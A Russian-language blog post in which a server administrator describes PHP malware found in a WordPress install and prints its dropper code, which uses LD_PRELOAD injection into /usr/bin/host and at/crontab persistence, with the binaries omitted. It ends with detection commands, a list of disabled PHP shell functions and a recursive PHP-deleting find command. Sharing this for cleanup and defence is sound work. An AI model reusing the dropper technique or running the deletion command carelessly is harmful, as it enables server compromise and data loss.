Поймал гадость которая через вордпресс пробралась на сервер и интегрировалась впроцесс /usr/bin/host – запустив его из под пользователя www-data брутфорсила по всему интернету.
Нашел я эту гадость в файле /сайт/wp-includes/images/wlw/404.php .sd0 index.html
@touch(«index.html»); header(«Content-type: text/plain»); print «2842123700\n»; if (! function_exists(‘file_put_contents’)) { function file_put_contents($filename, $data) { $f = @fopen($filename, ‘w’); if (! $f) return false; $bytes = fwrite($f, $data); fclose($f); return $bytes; } } @system(«killall -9 «.basename(«/usr/bin/host»)); $so32 = «\x7f\x45\x4c —— бинарник большой —- x00»; $so64 = «\x7f\x45\x4c —— бинарник большой —- \x00\x00\x00»; $arch = 64; if (intval(«9223372036854775807») == 2147483647) $arch = 32; $so = $arch == 32 ? $so32 : $so64; $f = fopen(«/usr/bin/host», «rb»); if ($f) { $n = unpack(«C*», fread($f, 8)); $so[7] = sprintf(«%c», $n[8]); fclose($f); } $n = file_put_contents(«./libworker.so», $so); $AU=@$_SERVER[«SERVER_NAME»].$_SERVER[«REQUEST_URI»]; $HBN=basename(«/usr/bin/host»); $SCP=getcwd(); @file_put_contents(«1.sh», «#!/bin/sh\ncd ‘».$SCP.»‘\nif [ -f ‘./libworker.so’ ];then killall -9 $HBN;export AU='».$AU.»‘\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v ‘1\.sh’|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n»); @chmod(«1.sh», 0777); @system(«at now -f 1.sh», $ret); if ($ret == 0) { for ($i = 0; $i < 5; $i++) { if (! @file_exists(«1.sh»)) { print «AT success\n»; exit(0); } sleep(1); } } @system(«(crontab -l|grep -v crontab;echo;echo ‘* * * * * «.$SCP.»/1.sh’)|crontab», $ret); if ($ret == 0) { for ($i = 0; $i < 62; $i++) { if (! @file_exists(«1.sh»)) { print «CRONTAB success\n»; exit(0); } sleep(1); } } @system(«./1.sh»); @unlink(«1.sh»);
Нашел при помощи команды:
grep -ri —include=*.php «/usr/bin/host» ./
но можно и по любым другим частям исходя из кода выше: killall, system, base64, basename, binary, crontab etc.)
на будущее отключил возможность исполнять system на веки вечные. Можете тоже это сделать добавив хотя бы:
php_admin_value disable_functions «show_source system shell_exec passthru exec phpinfo popen proc_open»
в настройки php или apache2
Вот еще список команд которые помогут вам в вычислении заразы:
Ищет конкретный файл:
find . -name ‘lndex.php’
Несколько файлов из перечня:
find . \( -name ‘lndex.php’ -o -name ‘master.php’ -o -name ‘security.php’ -o -name ‘cache.php’ \)
Можно попробовать найти все файлы измененые за последние 10 дней:
find ./ -ctime -10
Можете искать все php *.php которые были модифицированны в заданный период:
find . -name ‘*.php’ -newermt 2014-08-27 ! -newermt 2014-08-30
Найти и удалить *.php files (for example in a folder they do not belong in like your uploads folder). Осторожно будьте уверены что не в wp-content/uploads папке!
find . -name ‘*.php’ -exec rm -rf {} \;
Тоже в несколькоих сайтах:
find . -name ‘*.php’ | grep «wp-content/uploads» | xargs rm
Еще интересная программа:
strace -p PID
This will filter it to open and close system calls, increase the output message length to 80 chars and dump output to a file.
strace -e open,close -s 80 -o log.txt -p PID